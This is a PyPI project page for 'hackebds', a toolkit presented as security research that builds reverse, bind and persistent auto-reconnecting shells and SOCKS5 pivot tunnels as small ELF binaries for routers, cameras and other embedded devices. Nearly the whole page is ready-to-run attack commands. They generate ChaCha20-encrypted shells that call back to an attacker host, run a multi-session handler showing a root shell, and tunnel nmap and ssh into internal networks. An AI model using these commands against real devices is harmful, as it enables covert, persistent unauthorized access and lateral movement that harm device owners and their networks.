A security research toolkit for embedded device shellcode generation and vulnerability analysis

Navigation

Verified details

These details have been verified by PyPI
Maintainers
Avatar for doudoudedi from gravatar.com doudoudedi

Unverified details

These details have not been verified by PyPI
Project links
Meta
  • License: MIT License (MIT)
  • Author: doudou
  • Tags security , embedded , shellcode , vulnerability , pwntools , IoT
  • Requires: Python >=3.8
Classifiers
Report project as malware

Project description

hackebds

A security research toolkit for embedded device shellcode generation, vulnerability analysis, and SOCKS5 proxy tunneling with ChaCha20 end-to-end encryption.

Features

  • Multi-architecture shellcode generation (ARM, MIPS, PowerPC, SPARC, AArch64, x86/x64, RISC-V)
  • Reverse shell and bind shell payloads (standard + persistent fork-based)
  • ChaCha20 encrypted shell — all shell I/O traffic encrypted end-to-end (6 architectures)
  • ChaCha20 encrypted bind shell — password-authenticated encrypted bind shell (6 architectures)
  • ChaCha20 encrypted power shell — persistent reconnecting encrypted shell (6 architectures)
  • SOCKS5 reverse/forward proxy — pure assembly ELF binaries (~2-5KB)
  • ChaCha20 encrypted SOCKS5 tunnel — agent-server encrypted proxy (6 architectures)
  • SOCKS5 authentication — RFC 1929 username/password auth
  • Firmware analysis tools
  • CVE vulnerability database
  • CPU-specific code generation (-mcpu)
  • Integration with pwntools

Supported Architecture Matrix

Feature aarch64 x64 ARM LE ARM BE MIPS MIPSEL
Encrypted Reverse Shell ✓ ✓ ✓ ✓ ✓ ✓
Encrypted Bind Shell ✓ ✓ ✓ ✓ ✓ ✓
Encrypted Power Shell ✓ ✓ ✓ ✓ ✓ ✓
Encrypted SOCKS5 Proxy ✓ ✓ ✓ ✓ ✓ ✓
Plain Reverse Shell ✓ ✓ ✓ ✓ ✓ ✓
Plain Bind Shell ✓ ✓ ✓ ✓ ✓ ✓
Plain SOCKS5 Proxy ✓ ✓ ✓ ✓ ✓ ✓

Installation

pip install hackebds

# Or from wheel
pip install hackebds-0.4.0-py3-none-any.whl

# Or development mode
pip install -e .

Cross-compilation tools

# Required toolchains for target architectures
sudo apt install binutils-aarch64-linux-gnu       # AArch64
sudo apt install binutils-arm-linux-gnueabi        # ARM (v5/v7 LE/BE)
sudo apt install binutils-mips-linux-gnu           # MIPS (BE)
sudo apt install binutils-mipsel-linux-gnu         # MIPSEL (LE)
sudo apt install binutils-x86-64-linux-gnu         # x86_64 (on non-x64 host)
sudo apt install binutils-mips64-linux-gnuabi64    # MIPS64 (optional)
sudo apt install binutils-mips64el-linux-gnuabi64  # MIPS64EL (optional)
sudo apt install binutils-powerpc-linux-gnu        # PowerPC (optional)
sudo apt install binutils-riscv64-linux-gnu        # RISC-V 64 (optional)

Encrypted Reverse Shell

ChaCha20-encrypted reverse shell. All stdin/stdout traffic between shell and attacker is encrypted end-to-end using the pipe+fork relay pattern.

Target (IoT/Embedded)              Attacker
+-------------------+              +----------------------------+
| Encrypted Shell   |---connect--->| Python Encrypted Handler   |
| ELF (~3-7KB)      |  encrypted   | (hackebds -server ...)     |
|                   |  ChaCha20    |                            |
| pipe+fork relay:  |<------------>| decrypt -> terminal stdout |
| shell <-> encrypt |              | terminal stdin -> encrypt  |
| <-> socket        |              |                            |
+-------------------+              +----------------------------+

Usage

Step 1: Start the encrypted handler on attacker machine (listen first):

hackebds -server encrypted_shell_reverse \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key"

Step 2: Generate the encrypted shell ELF for target architecture:

# AArch64
hackebds -arch aarch64 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# x86_64
hackebds -arch x64 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# ARM (little-endian, v7)
hackebds -arch armelv7 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# ARM (big-endian, v7)
hackebds -arch armebv7 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# ARM (little-endian, v5)
hackebds -arch armelv5 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# MIPS (big-endian)
hackebds -arch mips -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# MIPSEL (little-endian)
hackebds -arch mipsel -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

Step 3: Upload and run on target:

./eshell
# Handler will show encrypted interactive terminal session

Full PTY Terminal Mode (--pty)

Add --pty to get a full interactive terminal with tab completion, arrow keys, command history, and colored prompts. Requires /dev/ptmx and mounted devpts on target.

# Generate PTY shell (use /bin/bash for full features)
hackebds -arch aarch64 -res reverse_shell_file --pty \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key" \
         -shell /bin/bash -filename eshell

# Handler must also use --pty for raw transparent relay
hackebds -server encrypted_shell_reverse --pty \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key"

PTY vs Pipe mode comparison:

Feature Default (pipe) --pty
Tab completion No Yes (with bash)
Arrow key history No Yes (with bash)
Colored prompt No Yes
Ctrl+C to remote No Yes
Compatibility All devices Needs /dev/ptmx
Recommended for Embedded/IoT Linux servers

Note: --pty requires:

  • /dev/ptmx device file on target
  • devpts filesystem mounted (/dev/pts/)
  • Most Linux servers and OpenWrt routers have this
  • Minimal BusyBox systems may NOT have it — use default pipe mode instead
  • Currently supports aarch64; other architectures use pipe mode automatically

Encrypted Bind Shell

Encrypted bind shell with password authentication. The shell listens on a port, requires a password, then provides an encrypted interactive session.

Usage

Step 1: Generate the encrypted bind shell ELF:

# AArch64
hackebds -arch aarch64 -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# x86_64
hackebds -arch x64 -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# ARMv7 LE
hackebds -arch armelv7 -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# ARMv7 BE
hackebds -arch armebv7 -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# MIPS
hackebds -arch mips -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# MIPSEL
hackebds -arch mipsel -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

Step 2: Run on target:

./ebind

Step 3: Connect from attacker:

hackebds -server encrypted_shell_bind \
         -reverse_ip <target_ip> -reverse_port 5555 \
         -cipher chacha20 -encrypt_key "my_secret_key"

# Enter password when prompted (transmitted encrypted)

Encrypted Persistent Reverse Shell (Power Mode)

Auto-reconnects with fork+sleep, all traffic encrypted. If the connection drops or the handler restarts, the shell will automatically reconnect after the sleep interval.

Usage

Step 1: Generate persistent encrypted reverse shell:

# AArch64 - reconnect every 10 seconds
hackebds -arch aarch64 -res reverse_shell_file \
         --power -sleep 10 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename epshell

# x86_64
hackebds -arch x64 -res reverse_shell_file \
         --power -sleep 5 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename epshell

# ARMv7 LE - for IoT devices
hackebds -arch armelv7 -res reverse_shell_file \
         --power -sleep 10 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "iot_key" \
         -filename epshell

# MIPS - for routers
hackebds -arch mips -res reverse_shell_file \
         --power -sleep 15 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "router_key" \
         -filename epshell

# MIPSEL
hackebds -arch mipsel -res reverse_shell_file \
         --power -sleep 5 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key" \
         -filename epshell

Step 2: Handler on attacker (same command for all architectures):

hackebds -server encrypted_shell_reverse \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key"

Step 3: Run on target — shell will reconnect automatically if connection drops:

./epshell

Encrypted SOCKS5 Proxy

ChaCha20-encrypted SOCKS5 reverse proxy tunnel. Agent runs on target, connects back to server on attacker. All agent-server traffic is encrypted.

Target (IoT/Embedded)              Attacker
+-----------------+                +------------------+
| Agent ELF       |---connect----->| Server ELF       |
| (MIPS/ARM/etc)  |   encrypted    | (x64/aarch64)    |
|                 |<--SOCKS5------>|                  |
| connects to     |   tunnel       | listens on       |
| internal net    |                | socks_port       |
+-----------------+                +------------------+
                                          |
                                   proxychains/curl
                                          |
                                   access internal net

Basic Usage (No Encryption)

# 1. Generate server (runs on attacker machine)
hackebds -res reverse_proxy_server -arch x64 \
         -agent_port 8888 -socks_port 1080 \
         -filename server

# 2. Generate agent (runs on target)
hackebds -res reverse_proxy_file -arch mips \
         -reverse_ip <attacker_ip> -reverse_port 8888 \
         -filename agent

# 3. Run server, then agent
./server    # on attacker
./agent     # on target

# 4. Use proxy
curl --socks5 127.0.0.1:1080 http://internal-target:8080
proxychains4 nmap -sT 192.168.1.0/24

With ChaCha20 Encryption

# Server (attacker) - aarch64 or x64
hackebds -res reverse_proxy_server -arch aarch64 \
         -agent_port 8888 -socks_port 1080 \
         -cipher chacha20 -encrypt_key "tunnel_key" \
         -filename server

# Agent (target) - any architecture, same key
hackebds -res reverse_proxy_file -arch mipsel \
         -reverse_ip <attacker_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "tunnel_key" \
         -filename agent

All Agent Architecture Commands (Encrypted)

# AArch64 agent
hackebds -arch aarch64 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# x86_64 agent
hackebds -arch x64 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# ARMv7 LE agent
hackebds -arch armelv7 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# ARMv7 BE agent
hackebds -arch armebv7 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# ARMv5 LE agent
hackebds -arch armelv5 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# MIPS BE agent
hackebds -arch mips -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# MIPSEL agent
hackebds -arch mipsel -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

With SOCKS5 Authentication

# Server with auth + encryption
hackebds -res reverse_proxy_server -arch x64 \
         -agent_port 8888 -socks_port 1080 \
         -socks_auth admin:secretpass \
         -cipher chacha20 -encrypt_key "key" \
         -filename server

# Client usage with auth
curl --socks5 admin:secretpass@127.0.0.1:1080 http://target:8080

# proxychains.conf
# socks5 127.0.0.1 1080 admin secretpass

Forward Proxy (Direct SOCKS5)

Runs directly on the target, no server needed:

hackebds -res forward_proxy_file -arch mips \
         -listen_port 1080 -filename proxy

./proxy   # on target
curl --socks5 <target_ip>:1080 http://internal:8080   # from attacker

Python Server Mode

Full-featured Python SOCKS5 server with management CLI:

hackebds -server socks5_reverse \
         -agent_port 8888 -socks_port 1080 \
         -socks_auth admin:pass \
         -cipher chacha20 -encrypt_key "key"

# Management console
hackebds-proxy> status
hackebds-proxy> pool
hackebds-proxy> exit

Plain (Non-Encrypted) Shell

Standard Reverse Shell

hackebds -res reverse_shell_file -arch mips \
         -reverse_ip 10.10.10.1 -reverse_port 4444 \
         -filename shell

Persistent Reverse Shell (fork-based)

hackebds -res reverse_shell_file -arch armelv7 \
         -reverse_ip 10.10.10.1 -reverse_port 4444 \
         --power -sleep 5 -filename shell

Plain Bind Shell

hackebds -res bind_shell -arch aarch64 \
         -bind_port 4444 -passwd secret \
         -filename bshell

Encrypted Shell Server (ELF)

Generate a standalone ELF binary to receive encrypted reverse shell connections. Similar to reverse_proxy_server but for interactive shell sessions.

# Generate ELF server (aarch64)
hackebds -arch aarch64 -res encrypted_shell_server \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key" \
         -filename shell_server

# Generate ELF server (x64)
hackebds -arch x64 -res encrypted_shell_server \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key" \
         -filename shell_server

# Run server on attacker, then run shell on target
./shell_server            # on attacker, waits for connection
./eshell                  # on target, connects back
# Server enters interactive mode: type commands, see output

Multi-Session Shell Manager

Manage multiple encrypted shell sessions from a single console. Supports tab completion, ghost-text autosuggestion, command history (arrow keys), per-IP session grouping, and power shell auto-dedup.

# Standalone shell manager
hackebds -server encrypted_shell_manager \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key"

# Unified server: SOCKS5 proxy + shell manager in one console
hackebds -server unified \
         -agent_port 8888 -socks_port 1080 \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key"

Console Commands

hackebds> help                    # Show all commands (supports TAB completion)
hackebds> status                  # Show server status
hackebds> list                    # List active sessions grouped by IP
hackebds> interact <id>           # Enter interactive shell (Ctrl+C to return)
hackebds> kill <id>               # Kill a session
hackebds> maxconn <n>             # Set max sessions per IP (default: 1)
hackebds> notify [on|off]         # Toggle new connection notifications
hackebds> pool                    # Show proxy agent pool (unified mode)
hackebds> exit                    # Stop and exit

Features

  • Tab completion: type partial command + TAB to complete
  • Ghost-text suggestion: type h and see gray elp hint, TAB to accept
  • Command history: arrow keys ↑↓ to recall previous commands
  • Per-IP grouping: list groups sessions by source IP
  • Power shell dedup: persistent shells (--power) from same IP auto-replace old session, keeping same ID
  • maxconn control: maxconn 3 allows up to 3 concurrent sessions per IP

Example: Multi-target management

# Terminal 1: Start manager
hackebds -server encrypted_shell_manager \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "team_key"

# Terminal 2: Deploy shells to different targets
hackebds -arch mips -res reverse_shell_file \
         -reverse_ip 10.0.0.1 -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "team_key" \
         -filename router_shell

hackebds -arch armelv7 -res reverse_shell_file \
         -reverse_ip 10.0.0.1 -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "team_key" \
         -filename camera_shell

# Console output:
#   [+] Shell #1 connected from 192.168.1.1:39201
#   [+] Shell #2 connected from 192.168.1.50:41022
#
#   hackebds> list
#     192.168.1.1  (1 session)
#       #1   port:39201  alive  2026-04-07 22:00:01
#     192.168.1.50  (1 session)
#       #2   port:41022  alive  2026-04-07 22:00:05

# Interact with router:
#   hackebds> interact 1
#   id
#   uid=0(root) ...
#   (Ctrl+C to return)

# Interact with camera:
#   hackebds-shell> interact 2
#   cat /etc/config
#   ...

Other Features

Firmware Analysis

hackebds -fw firmware.bin

CVE Database

hackebds -model "RT-AC68U" -s
hackebds -CVE CVE-2023-1234

CPU-Specific Generation

hackebds -mcpu mips32r2 -li -res reverse_shell_file \
         -reverse_ip 10.0.0.1 -reverse_port 4444 -filename shell

hackebds --mcpu-list  # Show all supported CPUs

Complete CLI Reference

Resource types (-res):
  reverse_shell_file      Standard or encrypted reverse shell ELF
  reverse_shellcode       Raw reverse shell shellcode
  bind_shell              Standard or encrypted bind shell ELF
  encrypted_shell_server  Encrypted shell server ELF (receive reverse shell)
  cmd_file                Command execution wrapper
  cveinfo                 CVE information lookup
  reverse_proxy_file      SOCKS5 reverse proxy agent ELF
  forward_proxy_file      SOCKS5 forward proxy ELF
  reverse_proxy_server    SOCKS5 reverse proxy server ELF

Architectures (-arch):
  aarch64                 AArch64 / ARM64
  x64                     x86_64 / AMD64
  x86                     x86 32-bit
  armelv5 / armelv7       ARM little-endian (v5 / v7)
  armebv5 / armebv7       ARM big-endian (v5 / v7)
  mips / mipsel           MIPS 32-bit (BE / LE)
  mips64 / mips64el       MIPS 64-bit N64 ABI (BE / LE)
  mipsn32 / mipsn32el     MIPS N32 ABI (BE / LE)
  powerpc / powerpcle     PowerPC 32-bit (BE / LE)
  powerpc64 / powerpc64le PowerPC 64-bit (BE / LE)
  riscv64                 RISC-V 64-bit
  sparc / sparc64         SPARC (32 / 64)
  android                 Android AArch64

Network options:
  -reverse_ip / -lhost    Reverse connection IP
  -reverse_port / -lport  Reverse connection port
  -bind_port / -bind      Bind shell listen port
  -passwd                 Bind shell password (default: 1234)

Proxy options:
  -agent_port             Agent connection port
  -socks_port             SOCKS5 client port (default: 1080)
  -listen_port            Forward proxy listen port
  -socks_auth             SOCKS5 auth as user:password

Encryption options:
  -cipher chacha20        Enable ChaCha20 encryption
  -encrypt_key <key>      Encryption passphrase (required with -cipher)

Shell options:
  -shell                  Shell path (default: /bin/sh, supports /bin/bash)
  --power                 Persistent fork-based mode (auto-reconnect)
  --pty                   Full PTY terminal (tab, arrows; needs /dev/ptmx)
  -sleep                  Reconnect interval in seconds (default: 5)

Server modes (-server):
  unified                  Proxy + shell manager in one console
  socks5_reverse           SOCKS5 reverse proxy server
  encrypted_shell_reverse  Single-session shell handler (reverse)
  encrypted_shell_bind     Single-session shell handler (bind)
  encrypted_shell_manager  Multi-session shell manager

Output:
  -filename / -f          Output filename
  -mcpu                   CPU type for assembly
  --mcpu-list             List all supported CPU types
  -fw / --firmware        Analyze firmware file

Practical Examples

Example 1: Encrypted reverse shell on MIPS router

# On attacker (start handler first):
hackebds -server encrypted_shell_reverse \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "router_key_2024"

# Generate MIPS shell for the target router:
hackebds -arch mips -res reverse_shell_file \
         -reverse_ip 192.168.1.100 -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "router_key_2024" \
         -filename mips_eshell

# Upload and run on target router -> encrypted interactive shell

Example 2: Encrypted bind shell on ARM camera

# Generate ARM bind shell for the camera:
hackebds -arch armelv7 -res bind_shell \
         -bind_port 9999 -passwd "cam_pass" \
         -cipher chacha20 -encrypt_key "camera_key" \
         -filename arm_bind

# Upload and run on camera:
./arm_bind

# Connect from attacker:
hackebds -server encrypted_shell_bind \
         -reverse_ip 192.168.1.50 -reverse_port 9999 \
         -cipher chacha20 -encrypt_key "camera_key"
# Type password when "Passwd: " prompt appears

Example 3: Persistent encrypted shell on ARM IoT device

# Generate persistent encrypted reverse shell (reconnects every 10s):
hackebds -arch armelv7 -res reverse_shell_file \
         --power -sleep 10 \
         -reverse_ip 10.0.0.1 -reverse_port 5555 \
         -cipher chacha20 -encrypt_key "iot_key" \
         -filename arm_persistent

# Handler on attacker:
hackebds -server encrypted_shell_reverse \
         -reverse_port 5555 \
         -cipher chacha20 -encrypt_key "iot_key"

# Shell will auto-reconnect if handler restarts

Example 4: Full encrypted SOCKS5 tunnel through MIPSEL device

# Generate encrypted MIPSEL agent:
hackebds -arch mipsel -res reverse_proxy_file \
         -reverse_ip 10.0.0.1 -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "tunnel_key" \
         -filename mips_agent

# Generate encrypted server (or use Python server):
hackebds -arch aarch64 -res reverse_proxy_server \
         -agent_port 8888 -socks_port 1080 \
         -cipher chacha20 -encrypt_key "tunnel_key" \
         -filename server

# Or use Python server with auth:
hackebds -server socks5_reverse \
         -agent_port 8888 -socks_port 1080 \
         -socks_auth admin:pass \
         -cipher chacha20 -encrypt_key "tunnel_key"

# Use the tunnel:
curl --socks5 admin:pass@127.0.0.1:1080 http://192.168.1.1/admin
proxychains4 ssh root@192.168.1.1

Example 5: Cross-architecture encrypted proxy (ARM agent + x64 server)

# x64 server on attacker laptop:
hackebds -arch x64 -res reverse_proxy_server \
         -agent_port 8888 -socks_port 1080 \
         -socks_auth user:pass \
         -cipher chacha20 -encrypt_key "cross_key" \
         -filename x64_server

# ARM BE agent on target device:
hackebds -arch armebv7 -res reverse_proxy_file \
         -reverse_ip <attacker_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "cross_key" \
         -filename armeb_agent

# Run server, then agent. Use proxy:
./x64_server
# (on target) ./armeb_agent
curl --socks5 user:pass@127.0.0.1:1080 http://internal:8080

Example 6: MIPS64 SOCKS5 proxy for enterprise router

hackebds -arch mips64 -res reverse_proxy_file \
         -reverse_ip 10.0.0.1 -reverse_port 8888 \
         -filename mips64_agent

hackebds -server socks5_reverse \
         -agent_port 8888 -socks_port 1080

How Encryption Works

ChaCha20 Stream Cipher

  • Key derivation: passphrase → SHA-256 → 256-bit key
  • Same passphrase on both sides = same key
  • Two separate nonces prevent keystream reuse:
    • nonce=0x01 for server→agent direction
    • nonce=0x02 for agent→server direction
  • Streaming mode: maintains position within 64-byte keystream blocks across multiple encrypt/decrypt calls

Encrypted Shell Data Flow

  1. Shell binary connects back (reverse) or listens (bind)
  2. For bind shell: sends encrypted "Passwd: " prompt, reads+decrypts password, verifies
  3. Creates two pipe pairs for stdin and stdout
  4. Forks: child process runs /bin/sh with pipes as stdin/stdout
  5. Parent process runs encrypted relay loop:
    • Reads from socket → ChaCha20 decrypt → writes to shell's stdin pipe
    • Reads from shell's stdout pipe → ChaCha20 encrypt → writes to socket
  6. Python handler on attacker side does the inverse

Generated ELF Sizes

Type Architecture Size
Encrypted Reverse Shell x64 ~6.9 KB
Encrypted Reverse Shell aarch64 ~3.4 KB
Encrypted Reverse Shell ARMv7 ~3.1 KB
Encrypted Reverse Shell MIPS ~3.9 KB
Encrypted Bind Shell x64 ~7.2 KB
Encrypted Bind Shell aarch64 ~4.0 KB
Encrypted Bind Shell ARMv7 ~3.7 KB
Encrypted Bind Shell MIPS ~4.3 KB
Encrypted Power Reverse x64 ~7.0 KB
Proxy Agent (encrypted) any ~3.5-5.0 KB
Proxy Server (encrypted) any ~3.5-5.0 KB
Proxy Agent (plain) any ~1.5-2.0 KB

Requirements

  • Python >= 3.8
  • pwntools
  • colorama
  • Cross-architecture binutils (for non-native targets, see Installation)

License

MIT License

Project details

Verified details

These details have been verified by PyPI
Maintainers
Avatar for doudoudedi from gravatar.com doudoudedi

Unverified details

These details have not been verified by PyPI
Project links
Meta
  • License: MIT License (MIT)
  • Author: doudou
  • Tags security , embedded , shellcode , vulnerability , pwntools , IoT
  • Requires: Python >=3.8
Classifiers

Release history Release notifications | RSS feed

This version

0.4.1

0.4.0

0.3.8

0.3.7

0.3.6

0.3.5

0.3.3

0.3.2

0.3.0

0.2.9

0.2.8

0.2.7

0.2.3

0.2.2

0.2.1

0.2.0

0.1.9

0.1.6

0.1.5

0.1.3

0.1.2

0.1.1 yanked

0.0.9

0.0.8

0.0.7

0.0.6

0.0.5

0.0.4

0.0.3

0.0.2

0.0.1

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distributions

No source distribution files available for this release.See tutorial on generating distribution archives.

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

hackebds-0.4.1-cp38-abi3-manylinux2014_aarch64.whl (2.0 MB view details)

Uploaded CPython 3.8+

hackebds-0.4.1-cp38-abi3-manylinux1_x86_64.whl (2.2 MB view details)

Uploaded CPython 3.8+

File details

Details for the file hackebds-0.4.1-cp38-abi3-manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for hackebds-0.4.1-cp38-abi3-manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 dbf766f92fcb7bd1efc5aadb2613a8a593e0da7d79b0edeb536f3a3f3616e899
MD5 d7e4f5a4ae6d9e8249ce60e329a96d49
BLAKE2b-256 6ee20bba13c0a48020db831f6873b936b606a3fc277ddcc375ae614233c39b87

See more details on using hashes here.

File details

Details for the file hackebds-0.4.1-cp38-abi3-manylinux1_x86_64.whl.

File metadata

File hashes

Hashes for hackebds-0.4.1-cp38-abi3-manylinux1_x86_64.whl
Algorithm Hash digest
SHA256 b86483120231caa9a7873a36a58a62e30335c5f0d57d39986c8bd4e504b61e63
MD5 c3c5166c9338a5b48d107e32bc0f977a
BLAKE2b-256 c161aa7b8681147448839f4b93c08082a42d0c7457850a127c77fd057b11ef55

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page